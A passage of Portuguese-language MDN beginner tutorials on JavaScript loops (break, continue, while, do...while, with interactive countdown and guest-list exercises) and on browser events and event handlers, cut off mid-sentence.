ao botão (`btn`), de modo que quando ele é pressionado, algum código é invocado para executar a pesquisa e retornar os resultados.\n3. Armazenamos o valor que foi inserido no input de texto em uma variável chamada `searchName`, antes de limpar a entrada de texto e focar novamente, deixando o campo pronto para a próxima pesquisa.\n4. Agora, na parte interessante, o loop for:\n    1. Iniciamos o contador em `0`, executamos o loop até que o contador não seja menor que `contacts.length`, e incrementamos `i` com 1 depois e cada iteração do loop.\n    2. Dentro do loop, primeiro dividimos o contato atual (`contacts[i]`) no caractere \" : \" e armazenamos os dois valores resultantes em uma matriz chamada `splitContact`.\n    3. Em seguida, usamos uma instrução condicional para testar se o `splitContact[0]` (nome do contato) é igual ao `searchName`. Se for igual, inserimos uma string no parágrafo para mostrar em tela qual é o número do contato e usamos o `break` para encerrar o loop.\n5. Após `(contacts.length-1)` iterações, se o nome do contato não corresponder à pesquisa inserida, o texto do parágrafo será definido como \"Contato não encontrado\" e o loop continuará a iterar.\n\n**Nota:** Você pode encontrar este código de exemplo no GitHub (também veja em execução ).\n\nIgnorando iterações com continue\n--------------------------------\n\nA instrução continue funciona de maneira semelhante ao `break`, mas ao invés de sair inteiramente do loop, ele pula para a próxima iteração do loop. Vejamos outro exemplo que usa um número como entrada e retorna apenas os números que são quadrados de inteiros (números inteiros).\n\nO HTML é basicamente o mesmo do último exemplo - uma entrada de texto simples e um parágrafo para saída. O JavaScript é basicamente o mesmo, embora o próprio loop seja um pouco diferente:\n\n\n```js\nvar num = input.value;\n\nfor (var i = 1; i <= num; i++) {\n  var sqRoot = Math.sqrt(i);\n  if (Math.floor(sqRoot) !== sqRoot) {\n    continue;\n  }\n\n  para.textContent += i + \" \";\n}\n```\n\n\nAqui está a saída:\n```\n\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Integer squares generator</title>\n    <style></style>\n  </head>\n  <body>\n    <label for=\"number\">Enter number: </label>\n    <input id=\"number\" type=\"text\" />\n    <button>Generate integer squares</button>\n\n    <p>Output:</p>\n\n    <script>\n var para = document.querySelector(\"p\");\n var input = document.querySelector(\"input\");\n var btn = document.querySelector(\"button\");\n\n btn.addEventListener(\"click\", function () {\n para.textContent = \"Output: \";\n var num = input.value;\n input.value = \"\";\n input.focus();\n for (var i = 1; i <= num; i++) {\n var sqRoot = Math.sqrt(i);\n if (Math.floor(sqRoot) !== sqRoot) {\n continue;\n }\n\n para.textContent += i + \" \";\n }\n });\n </script>\n  </body>\n</html>\n```\n\n\n1. Nesse caso, a entrada deve ser um número (`num`). O loop `for` recebe um contador começando em 1 (como não estamos interessados em 0 neste caso), uma condição de saída que diz que o loop irá parar quando o contador se tornar maior que o input `num`, e um iterador que adiciona 1 ao contador a cada vez.\n2. Dentro do loop, encontramos a raiz quadrada de cada número usando Math.sqrt(i), e, em seguida, verificamos se a raiz quadrada é um inteiro, testando se é igual a ela mesma quando foi arredondada para o inteiro mais próximo é o que Math.floor() faz com o número que é passado).\n3. Se a raiz quadrada e a raiz quadrada arredondada não forem iguais (`! ==`), isso significa que a raiz quadrada não é um número inteiro, portanto, não estamos interessados nela. Nesse caso, usamos a instrução `continue` para pular para a próxima iteração de loop sem registrar o número em nenhum lugar.\n4. Se a raiz quadrada é um inteiro, nós pulamos o bloco if inteiramente para que a instrução `continue` não seja executada; em vez disso, concatenamos o valor `i` atual mais um espaço até o final do conteúdo do parágrafo.\n\n**Nota:** Você pode encontrar este código de exemplo no GitHub (também veja em execução ).\n\nwhile e o do ... while\n----------------------\n\n`for` não é o único tipo de loop disponível em JavaScript. Na verdade, existem muitos outros, embora você não precise entender tudo isso agora, vale a pena dar uma olhada na estrutura dos outros tipos de loops para que você possa reconhecer a mesma lógica na funcionalidade porém empregada de uma forma diferente.\n\nPrimeiro, vamos dar uma olhada no while loop. A sintaxe deste loop é assim:\n```\n\ninicializador\nwhile (condição-saída) {\n  // code to run\n\n  expressão-final\n}\n```\n\n\nWhile funciona de maneira muito semelhante ao loop for, exceto que a variável inicializadora é definida antes do loop, e a expressão final é incluída dentro do loop após o código a ser executado - em vez de esses dois itens serem incluídos dentro dos parênteses. A condição de saída está incluída dentro dos parênteses, que são precedidos pela palavra-chave `while` e não por `for`.\n\nOs mesmos três itens ainda estão presentes, e eles ainda são definidos na mesma ordem do loop for - isso faz sentido, já que você ainda precisa ter um inicializador definido antes de poder verificar se ele atingiu a condição de saída ; a condição final é então executada após o código dentro do loop ser executado (uma iteração foi concluída), o que só acontecerá se a condição de saída ainda não tiver sido atingida.\n\nVamos dar uma olhada novamente no nosso exemplo de lista de gatos, que reescrevemos para usar um loop while:\n\n\n```js\nvar i = 0;\n\nwhile (i < cats.length) {\n  if (i === cats.length - 1) {\n    info += \"and \" + cats[i] + \".\";\n  } else {\n    info += cats[i] + \", \";\n  }\n\n  i++;\n}\n```\n\n\n> \n> \\*\\*Nota:\\*\\*Isso ainda funciona da mesma forma esperada — dê uma olhada no código em execução (também veja o código fonte completo).\n> \n> \n> \n\nO do...while loop é muito semelhante, mas fornece uma variação na estrutura while:\n```\n\ninitializer\ndo {\n  // code to run\n\n  final-expression\n} while (exit-condition)\n```\n\n\nNesse caso, o inicializador novamente vem em primeiro lugar, antes que o loop seja iniciado. A palavra-chave precede diretamente as chaves que contêm o código a ser executado e a expressão final.\n\nO diferenciador aqui é que a condição de saída vem depois de todo o resto, envolvida em parênteses e precedida por uma palavra-chave while. Em um loop do ... while, o código dentro das chaves é sempre executado uma vez antes da verificação ser feita para ver se deve ser executada novamente (no while e para, a verificação vem primeiro, então o código pode nunca ser executado ).\n\nVamos reescrever nosso exemplo de listagem de gato novamente para usar um loop do ... while:\n\n\n```js\nvar i = 0;\n\ndo {\n  if (i === cats.length - 1) {\n    info += \"and \" + cats[i] + \".\";\n  } else {\n    info += cats[i] + \", \";\n  }\n\n  i++;\n} while (i < cats.length);\n```\n\n\n> \n> \\*\\*Nota:\\*\\*Novamente, isso funciona exatamente como esperado - dê uma olhada nele executando no GitHub (veja também o código fonte completo).\n> \n> \n> \n\n**Aviso:** **Importante:** Com while e do ... while - como em todos os loops - você deve certificar-se de que o inicializador esteja iterado para que ele atinja a condição de saída. Caso contrário, o loop continuará indefinidamente e o navegador irá forçá-lo a parar ou falhará. Isso é chamado de loop infinito.\n\nAprendizado ativo: contagem regressiva!\n---------------------------------------\n\nNesse exercício, nós queremos que você imprima uma simples contagem regressiva na caixa de saída, de 10 até terminar. Especificamente, queremos que você:\n\n* Faça um loop de 10 até 0. Fornecemos à você um inicializador — `var i = 10;`.\n* Para cada iteração, crie um novo parágrafo e o anexe à saída `<div>`, que selecionamos usando `var output = document.querySelector('.output');`. Nos comentários, nós providenciamos a você três linhas de código que precisam ser usadas em algum lugar dentro do loop:\n    + `var para = document.createElement('p');` — cria um novo parágrafo.\n    + `output.appendChild(para);` — anexa o parágrafo à saída `<div>`.\n    + `para.textContent =` — faz o texto dentro do parágrafo ser igual ao que você coloca do lado direito, depois do sinal de igual.\n* Números de iteração diferentes exigem que texto diferente seja inserido no parágrafo para essa iteração (você precisará de uma declaração condicional e várias linhas `para.textContent =` ):\n    + Se o número é 10, imprima \"Contagem regressiva 10\" no parágrafo.\n    + Se o número é 0, imprima \"Lançar!\" no parágrafo.\n    + Para qualquer outro número, apenas o imprima no parágrafo.\n* Lembre-se de incluir um iterador! No entanto, neste exemplo, estamos em contagem regressiva após cada iteração, e não progressiva, então você não vai querer usar `i++` — como você itera para baixo?\n\nSe você cometer um erro, sempre poderá redefinir o exemplo com o botão \"Reset\". Se você realmente ficar preso, pressione \"Show solution\" para ver uma solução.\n```\n\n<h2>Live output</h2>\n<div class=\"output\" style=\"height: 410px;overflow: auto;\"></div>\n\n<h2>Editable code</h2>\n<p class=\"a11y-label\">\n  Press Esc to move focus away from the code area (Tab inserts a tab character).\n</p>\n<textarea id=\"code\" class=\"playable-code\" style=\"height: 300px;width: 95%\">\nvar output = document.querySelector('.output');\noutput.innerHTML = '';\n\n// var i = 10;\n\n// var para = document.createElement('p');\n// para.textContent = ;\n// output.appendChild(para);\n</textarea>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar code = textarea.value;\nvar userEntry = textarea.value;\n\nfunction updateCode() {\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = jsSolution;\n  solution.value = \"Show solution\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Show solution\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Hide solution\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Show solution\";\n  }\n  updateCode();\n});\n\nvar jsSolution =\n  \"var output = document.querySelector('.output');\\noutput.innerHTML = '';\\n\\nvar i = 10;\\n\\nwhile(i >= 0) {\\n var para = document.createElement('p');\\n if(i === 10) {\\n para.textContent = 'Contagem regressiva ' + i;\\n } else if(i === 0) {\\n para.textContent = 'Lançar!';\\n } else {\\n para.textContent = i;\\n }\\n\\n output.appendChild(para);\\n\\n i--;\\n}\";\nvar solutionEntry = jsSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  var scrollPos = textarea.scrollTop;\n  var caretPos = textarea.selectionStart;\n\n  var front = textarea.value.substring(0, caretPos);\n  var back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Show solution\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\nAprendizado ativo: preenchendo uma lista de convidados\n------------------------------------------------------\n\nNesse exercício, nós queremos que você pegue uma lista de nomes armazenados em um array, e os coloque em uma lista de convidados. Mas não tão fácil — nós não queremos que Phil e Lola estejam nela porque eles são gananciosos e rudes, e sempre comem a comida toda! Nós temos duas listas, uma para convidados aceitos, e uma para convidados recusados.\n\nEspecificamente, nós queremos que você:\n\n* Escreva um loop que iterará de 0 até o comprimento do array `people`. Você precisará começar com um inicializador de `var i = 0;`, Mas qual condição de saída você precisa?\n* Durante cada iteração de loop, verifique se o item atual do array é igual a \"Phil\" ou \"Lola\" usando uma declaração condicional:\n    + Se for, concatene o item do array no final do `textContent` do paragrafo `refused`, seguido por uma vírgula e um espaço.\n    + Se não for, concatene o item do array no final do `textContent` do paragrafo `admitted`, seguido por uma vírgula e um espaço.\n\nNós já fornecemos a você:\n\n* `var i = 0;` — Seu inicializador.\n* `refused.textContent +=` — o início de uma linha que concatenará algo no final de `refused.textContent`.\n* `admitted.textContent +=` — o início de uma linha que concatenará algo no final de `admitted.textContent`.\n\nQuestão bônus extra — depois de completar as tarefas acima com sucesso, você terá duas listas de nomes, separados por vírgulas, mas eles estarão desarrumados — haverá uma vírgula no final decada um. Você pode descobrir como escrever linhas que que cortam a última vírgula em cada caso, e adicionar um ponto final? Dê uma olhada no artigo Métodos úteis de string para ajuda.\n\nSe você cometer um erro, sempre poderá redefinir o exemplo com o botão \"Reset\". Se você realmente ficar preso, pressione \"Show solution\" para ver uma solução.\n```\n\n<h2>Live output</h2>\n<div class=\"output\" style=\"height: 100px;overflow: auto;\">\n  <p class=\"admitted\">Admit:</p>\n  <p class=\"refused\">Refuse:</p>\n</div>\n\n<h2>Editable code</h2>\n<p class=\"a11y-label\">\n  Press Esc to move focus away from the code area (Tab inserts a tab character).\n</p>\n<textarea id=\"code\" class=\"playable-code\" style=\"height: 400px;width: 95%\">\nvar people = ['Chris', 'Anne', 'Colin', 'Terri', 'Phil', 'Lola', 'Sam', 'Kay', 'Bruce'];\n\nvar admitted = document.querySelector('.admitted');\nvar refused = document.querySelector('.refused');\nadmitted.textContent = 'Admit: ';\nrefused.textContent = 'Refuse: '\n\n// var i = 0;\n\n// refused.textContent += ;\n// admitted.textContent += ;\n\n</textarea>\n\n<div class=\"playable-buttons\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\nhtml {\n  font-family: sans-serif;\n}\n\nh2 {\n  font-size: 16px;\n}\n\n.a11y-label {\n  margin: 0;\n  text-align: right;\n  font-size: 0.7rem;\n  width: 98%;\n}\n\nbody {\n  margin: 10px;\n  background: #f5f9fa;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar solution = document.getElementById(\"solution\");\nvar code = textarea.value;\nvar userEntry = textarea.value;\n\nfunction updateCode() {\n  eval(textarea.value);\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  userEntry = textarea.value;\n  solutionEntry = jsSolution;\n  solution.value = \"Show solution\";\n  updateCode();\n});\n\nsolution.addEventListener(\"click\", function () {\n  if (solution.value === \"Show solution\") {\n    textarea.value = solutionEntry;\n    solution.value = \"Hide solution\";\n  } else {\n    textarea.value = userEntry;\n    solution.value = \"Show solution\";\n  }\n  updateCode();\n});\n\nvar jsSolution =\n  \"var people = ['Chris', 'Anne', 'Colin', 'Terri', 'Phil', 'Lola', 'Sam', 'Kay', 'Bruce'];\\n\\nvar admitted = document.querySelector('.admitted');\\nvar refused = document.querySelector('.refused');\\n\\nadmitted.textContent = 'Admit: ';\\nrefused.textContent = 'Refuse: '\\nvar i = 0;\\n\\ndo {\\n if(people[i] === 'Phil' || people[i] === 'Lola') {\\n refused.textContent += people[i] + ', ';\\n } else {\\n admitted.textContent += people[i] + ', ';\\n }\\n i++;\\n} while(i < people.length);\\n\\nrefused.textContent = refused.textContent.slice(0,refused.textContent.length-2) + '.';\\nadmitted.textContent = admitted.textContent.slice(0,admitted.textContent.length-2) + '.';\";\nvar solutionEntry = jsSolution;\n\ntextarea.addEventListener(\"input\", updateCode);\nwindow.addEventListener(\"load\", updateCode);\n\n// stop tab key tabbing out of textarea and\n// make it write a tab at the caret position instead\n\ntextarea.onkeydown = function (e) {\n  if (e.keyCode === 9) {\n    e.preventDefault();\n    insertAtCaret(\"\\t\");\n  }\n\n  if (e.keyCode === 27) {\n    textarea.blur();\n  }\n};\n\nfunction insertAtCaret(text) {\n  var scrollPos = textarea.scrollTop;\n  var caretPos = textarea.selectionStart;\n\n  var front = textarea.value.substring(0, caretPos);\n  var back = textarea.value.substring(\n    textarea.selectionEnd,\n    textarea.value.length,\n  );\n  textarea.value = front + text + back;\n  caretPos = caretPos + text.length;\n  textarea.selectionStart = caretPos;\n  textarea.selectionEnd = caretPos;\n  textarea.focus();\n  textarea.scrollTop = scrollPos;\n}\n\n// Update the saved userCode every time the user updates the text area code\n\ntextarea.onkeyup = function () {\n  // We only want to save the state when the user code is being shown,\n  // not the solution, so that solution is not saved over the user code\n  if (solution.value === \"Show solution\") {\n    userEntry = textarea.value;\n  } else {\n    solutionEntry = textarea.value;\n  }\n\n  updateCode();\n};\n```\n\nWhich loop type should you use?\n-------------------------------\n\nFor basic uses, `for`, `while`, and `do...while` loops are largely interchangeable. They can all be used to solve the same problems, and which one you use will largely depend on your personal preference — which one you find easiest to remember or most intuitive. Let's have a look at them again.\n\nFirst `for`:\n```\n\nfor (initializer; exit-condition; final-expression) {\n  // code to run\n}\n```\n\n\n`while`:\n```\n\ninitializer\nwhile (exit-condition) {\n  // code to run\n\n  final-expression\n}\n```\n\n\nand finally `do...while`:\n```\n\ninitializer\ndo {\n  // code to run\n\n  final-expression\n} while (exit-condition)\n```\n\n\nNós recomendamos o uso do `for`, pelo menos no começo, já que ele é provavelmente a forma mais fácil de lembrar de tudo — o inicializador, a condição de saída, e a expressão final final tudo fica ordenadamente dentro dos parênteses, então é fácil de ver onde eles estão e para verifcar se você não os esqueceu.\n\n**Nota:** There are other loop types/features too, which are useful in advanced/specialized situations and beyond the scope of this article. If you want to go further with your loop learning, read our advanced Loops and iteration guide.\n\nConclusion\n----------\n\nThis article has revealed to you the basic concepts behind, and different options available when, looping code in JavaScript. You should now be clear on why loops are a good mechanism for dealing with repetitive code, and be raring to use them in your own examples!\n\nIf there is anything you didn't understand, feel free to read through the article again, or contact us to ask for help.\n\nSee also\n--------\n\n* Loops and iteration in detail\n* for statement reference\n* while and do...while references\n* break and continue references\n* What's the Best Way to Write a JavaScript For Loop? — some advanced loop best practices\n* Anterior\n* Menu: Building blocks\n* Próxima"}
{"title":"Introdução a eventos - Aprendendo desenvolvimento web","text":"Introdução a eventos\n====================\n\n* Anterior\n* Menu: Building blocks\n* Próxima\n\nEventos são ações ou ocorrências que acontecem no sistema que estamos desenvolvendo, no qual este te alerta sobre essas ações para que você possa responder de alguma forma, se desejado. Por exemplo, se o usuário clica em um botão numa pagina web, você pode querer responder a esta ação mostrando na tela uma caixa de informações. Nesse artigo, nós iremos discutir sobre alguns conceitos importantes envolvendo eventos, e veremos como eles funcionam nos browsers. Isto não será algo cansativo para estudar; somente o que você precisar saber até agora.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimentos básicos em informática, conhecimento básico em HTML e CSS,\n JavaScript, primeiros passos.\n  |\n| Objetivo: | \n Entender a teoria fundamentos dos eventos, como eles funcionam nos\n browsers, e como eventos podem ser diferentes dependendo do ambiente de\n desenvolvimento.\n  |\n\nAventuras em Série\n------------------\n\nComo mencionado acima, **eventos** são ações ou ocorrências que acontecem no sistema que estamos desenvolvendo — o sistema irá disparar algum tipo de sinal quando o evento acontecer, além de prover um mecanismo pelo qual alguma ação automática possa ser executada (ou seja, rodar algum código) quando o evento ocorrer. Por exemplo, em um aeroporto, quando a pista está livre para um avião decolar, um sinal é repassado ao piloto, e como resultado, ele inicia a decolagem.\n\n![](/pt-BR/docs/Learn/JavaScript/Building_blocks/Events/mdn-mozilla-events-runway.png)\n\nNo caso da web, eventos são disparados dentro da janela do navegador, e tende a estarem anexados a algum item especifico nele — pode ser um único elemento, um conjunto de elementos, o HTML carregado na guia atual, ou toda a janela do navegador. Existem vários tipos diferentes de eventos que podem vir a acontecer, por exemplo:\n\n* O usuário clicando com o mouse sobre um certo elemento ou passando o cursor do mouse sobre um certo elemento.\n* O usuário pressionando uma tecla do teclado.\n* O usuário redimensionando ou fechando a janela do navegador.\n* Uma pagina da web terminando de carregar.\n* Um formulário sendo enviado.\n* Um video sendo reproduzido, interrompido, ou terminando sua reprodução.\n* Um erro ocorrendo.\n\nVocê vai perceber com isso (e dando uma olhada no Event reference (en-US) MDN) que **há uma** série de eventos que podem ser utilizados.\n\nCada evento disponivel possui um **manipulador de eventos** (event handler), que é um bloco de código (geralmente uma função JavaScript definida pelo usuário) que será executado quando o evento for disparado. Quando esse bloco de código é definido para rodar em resposta a um evento que foi disparado, nós dizemos que estamos **registrando um manipulador de eventos**. Note que manipuladores de eventos são, em alguns casos, chamados de **ouvinte de eventos** (event listeners) — eles são praticamente intercambiáveis para nossos propósitos, embora estritamente falando, eles trabalhem juntos. Os ouvintes escutam o evento acontecendo, e o manipulador é o codigo que roda em resposta a este acontecimento.\n\n**Nota:** É importante notar que eventos web não são parte do core da linguagem JavaScript — elas são definidas como parte das APIs JavaScript incorporadas ao navegador.\n\n### Um exemplo simples\n\nVamos dar uma olhada em um simples exemplo para explicar o que nós queremos dizer aqui. Você já viu eventos e manipuladores de eventos sendo utilizados na maioria dos exemplos deste curso até agora, mas vamos recapitular somente para cimentar nosso conhecimento. No exemplo a seguir, nós temos um simples `<button>` que quando pressionado, irá fazer com que o fundo mude para uma cor aleatória:\n\n\n```html\n<button>Change color</button>\n```\n\n\n```\nbutton {\n  margin: 10px;\n}\n```\n\n\nO JavaScript seria algo como:\n\n\n```js\nvar btn = document.querySelector(\"button\");\n\nfunction random(number) {\n  return Math.floor(Math.random() \\* (number + 1));\n}\n\nbtn.onclick = function () {\n  var rndCol =\n    \"rgb(\" + random(255) + \",\" + random(255) + \",\" + random(255) + \")\";\n  document.body.style.backgroundColor = rndCol;\n};\n```\n\n\nNesse código, nós guardamos uma referência ao botão dentro de uma variável chamada `btn`, usando a função `Document.querySelector()`. Também definimos uma função que retorna um número aleatório. A terceira parte do código é o manipulador de eventos. A variável `btn` aponta para um elemento `<button>`, e esse tipo de objeto tem um número de eventos que podem ser disparados nele, assim sendo, manipuladores de eventos estão disponíveis.\n\nEsse código rodará sempre que o evento de clique for disparado pelo elemento `<button>`, isto é, sempre que um usuário clicar nele.\n\nUm exemplo de saída seria:\n\n### Não são apenas paginas da web\n\nOutra coisa que vale mencionar a esse ponto é que eventos não são exclusivos ao JavaScript — muitas linguagens de programação possuem algum tipo de modelo de evento, e a maneira que elas funcionam irão, frequentemente, diferenciar-se da maneira que funciona em JavaScript. De fato, o modelo de evento no JavaScript para web pages difere dos outros modelos de evento do próprio JavaScript quando usados em outros ambientes.\n\nPor exemplo, Node.js é um interpretador de código JavaScript muito popular que permite desenvolvedores a usarem JavaScript para construir aplicações de rede e do lado do servidor. O Node.js event model depende dos ouvintes para escutar eventos e emissores para emitir eventos periodicamente. — não parece tão diferente, mas o código é bem diferente, fazendo uso de funções como `on()` para registrar um ouvinte de evento e `once()` para registrar um ouvinte de evento que cancela o registro depois de ter sido executado uma vez. Os Documentos do evento de conexão HTTP fornecem um bom exemplo de uso.\n\nComo outro exemplo, agora você também pode usar o JavaScript para criar complementos entre navegadores — aprimoramentos da funcionalidade do navegador — usando uma tecnologia chamada WebExtensions. O modelo de eventos é semelhante ao modelo de eventos da Web, mas um pouco diferente — as propriedades dos event listeners são camel-cased, onde cada palavra é iniciada com maiúsculas e unidas sem espaços (por exemplo, `onMessage` em vez de `onmessage`), e precisam ser combinadas com a função `addListener`. Veja a página runtime.onMessage para um exemplo.\n\nVocê não precisa entender nada sobre outros ambientes nesse estágio do aprendizado; nós só queríamos deixar claro que os eventos podem diferir em diferentes ambientes de programação.\n\nFormas de usar eventos da web\n-----------------------------\n\nHá várias maneiras diferentes de adicionar código de ouvinte de evento a páginas da Web para que ele seja executado quando o evento associado for disparado. Nesta seção, revisaremos os diferentes mecanismos e discutiremos quais devem ser usados.\n\n### Propriedades do manipulador de eventos\n\nEssas são as propriedades que existem para conter o código do manipulador de eventos que vimos com mais frequência durante o curso. Voltando ao exemplo acima:\n\n\n```js\nvar btn = document.querySelector(\"button\");\n\nbtn.onclick = function () {\n  var rndCol =\n    \"rgb(\" + random(255) + \",\" + random(255) + \",\" + random(255) + \")\";\n  document.body.style.backgroundColor = rndCol;\n};\n```\n\n\nA propriedade `onclick` é a propriedade do manipulador de eventos que está sendo usada nesta situação. É essencialmente uma propriedade como qualquer outra disponível no botão (por exemplo, `btn.textContent`, ou `btn.style` (en-US)), mas é um tipo especial — quando você configura para ser igual a algum código, esse código será executado quando o evento é acionado no botão.\n\nVocê também pode definir a propriedade handler para ser igual a um nome de função nomeado (como vimos em Construa sua própria função). O seguinte funcionaria da mesma forma:\n\n\n```js\nvar btn = document.querySelector(\"button\");\n\nfunction bgChange() {\n  var rndCol =\n    \"rgb(\" + random(255) + \",\" + random(255) + \",\" + random(255) + \")\";\n  document.body.style.backgroundColor = rndCol;\n}\n\nbtn.onclick = bgChange;\n```\n\n\nHá muitas propriedades diferentes de manipulador de eventos disponíveis. Vamos fazer um experimento.\n\nPrimeiro de tudo, faça uma cópia local do random-color-eventhandlerproperty.html, e abra-o no seu navegador. É apenas uma cópia do exemplo de cor aleatória simples com o qual já estamos jogando neste artigo. Agora tente alterar `btn.onclick` para os seguintes valores diferentes, por sua vez, e observando os resultados no exemplo:\n\n* `btn.onfocus` e `btn.onblur` — A cor mudará quando o botão estiver focado e fora de foco (tente pressionar a guia para aba no botão e desligar novamente). Eles geralmente são usados para exibir informações sobre como preencher campos de formulário quando eles estão focalizados ou exibir uma mensagem de erro se um campo de formulário tiver acabado de ser preenchido com um valor incorreto.\n* `btn.ondblclick` (en-US) — A cor só será alterada quando for clicada duas vezes.\n* `window.onkeypress` (en-US), `window.onkeydown` (en-US), `window.onkeyup` — A cor mudará quando uma tecla for pressionada no teclado. `keypress` refere-se a um pressionamento geral (botão para baixo e depois para cima), enquanto `keydown` e `keyup` refere-se apenas a parte do pressionamento da tecla para baixo e de soltar a tecla para cima, respectivamente. Note que não funciona se você tentar registrar este manipulador de eventos no próprio botão — nós tivemos que registrá-lo no objeto window, que representa toda a janela do navegador.\n* `btn.onmouseover` (en-US) e `btn.onmouseout` (en-US) — A cor mudará quando o ponteiro do mouse for movido, de modo que comece a passar o mouse sobre o botão, ou quando parar de passar o mouse sobre o botão e sair dele, respectivamente.\n\nAlguns eventos são muito gerais e estão disponíveis praticamente em qualquer lugar (por exemplo, um manipulador `onclick` pode ser registrado em quase qualquer elemento), enquanto alguns são mais específicos e úteis apenas em certas situações (por exemplo, faz sentido usar onplay (en-US) apenas em elementos específicos, como `<video>`).\n\n### Manipuladores de eventos in-line - não use esses\n\nVocê também pode ver um padrão como este em seu código:\n\n\n```html\n<button onclick=\"bgChange()\">Press me</button>\n```\n\n\n\n```js\nfunction bgChange() {\n  var rndCol =\n    \"rgb(\" + random(255) + \",\" + random(255) + \",\" + random(255) + \")\";\n  document.body.style.backgroundColor = rndCol;\n}\n```\n\n\n**Nota:** Você pode encontrar o código fonte completo para este exemplo no GitHub (também veja isso executando em tempo real).\n\nO método mais antigo de registrar manipuladores de eventos encontrados na Web envolveu **atributos HTML de manipulador de eventos** (também conhecidos como **manipuladores de eventos inline**) como o mostrado acima — o valor do atributo é literalmente o código JavaScript que você deseja executar quando o evento ocorre. O exemplo acima chama uma função definida dentro de um elemento `<script>` na mesma página, mas você também pode inserir JavaScript diretamente dentro do atributo, por exemplo:\n\n\n```html\n<button onclick=\"alert('Hello, this is my old-fashioned event handler!');\">\n  Press me\n</button>\n```\n\n\nVocê encontrará equivalentes de atributo HTML para muitas das propriedades do manipulador de eventos; no entanto, você não deve usá-los — eles são considerados uma prática ruim. Pode parecer fácil usar um atributo manipulador de eventos se você estiver apenas fazendo algo realmente rápido, mas eles se tornam rapidamente incontroláveis e ineficientes.\n\nPara começar, não é uma boa ideia misturar o seu HTML e o seu JavaScript, pois é difícil analisar — manter seu JavaScript em um só lugar é melhor; se estiver em um arquivo separado, você poderá aplicá-lo a vários documentos HTML.\n\nMesmo em um único arquivo, os manipuladores de eventos in-line não são uma boa ideia. Um botão está OK, mas e se você tivesse 100 botões? Você teria que adicionar 100 atributos ao arquivo; isso rapidamente se tornaria um pesadelo de manutenção. Com JavaScript, você poderia facilmente adicionar uma função de manipulador de eventos a todos os botões da página, não importando quantos fossem, usando algo assim:\n\n\n```js\nvar buttons = document.querySelectorAll(\"button\");\n\nfor (var i = 0; i < buttons.length; i++) {\n  buttons[i].onclick = bgChange;\n}\n```\n\n\n**Nota:** Separar sua lógica de programação do seu conteúdo também torna seu site mais amigável aos mecanismos de pesquisa.\n\n### addEventListener() e removeEventListener()\n\nO mais novo tipo de mecanismo de evento é definido na Especificação de Eventos Nível 2 do Document Object Model (DOM), que fornece aos navegadores uma nova função — `addEventListener()`. Isso funciona de maneira semelhante às propriedades do manipulador de eventos, mas a sintaxe é obviamente diferente. Poderíamos reescrever nosso exemplo de cor aleatória para ficar assim:\n\n\n```js\nvar btn = document.querySelector(\"button\");\n\nfunction bgChange() {\n  var rndCol =\n    \"rgb(\" + random(255) + \",\" + random(255) + \",\" + random(255) + \")\";\n  document.body.style.backgroundColor = rndCol;\n}\n\nbtn.addEventListener(\"click\", bgChange);\n```\n\n\n**Nota:** Você pode encontrar o código fonte completo para este exemplo no GitHub (também veja isso executando em tempo real).\n\nDentro da função `addEventListener()`, especificamos dois parâmetros — o nome do evento para o qual queremos registrar esse manipulador, e o código que compreende a função do manipulador que queremos executar em resposta a ele. Note que é perfeitamente apropriado colocar todo o código dentro da função `addEventListener()`, em uma função anônima, assim:\n\n\n```js\nbtn.addEventListener(\"click\", function () {\n  var rndCol =\n    \"rgb(\" + random(255) + \",\" + random(255) + \",\" + random(255) + \")\";\n  document.body.style.backgroundColor = rndCol;\n});\n```\n\n\nEsse mecanismo tem algumas vantagens sobre os mecanismos mais antigos discutidos anteriormente. Para começar, há uma função de contraparte, `removeEventListener()`, que remove um listener adicionado anteriormente. Por exemplo, isso removeria o listener definido no primeiro bloco de código nesta seção:\n\n\n```js\nbtn.removeEventListener(\"click\", bgChange);\n```\n\n\nIsso não é significativo para programas pequenos e simples, mas para programas maiores e mais complexos, pode melhorar a eficiência para limpar antigos manipuladores de eventos não utilizados. Além disso, por exemplo, isso permite que você tenha o mesmo botão executando ações diferentes em circunstâncias diferentes — tudo o que você precisa fazer é adicionar / remover manipuladores de eventos conforme apropriado.\n\nEm segundo lugar, você também pode registrar vários manipuladores para o 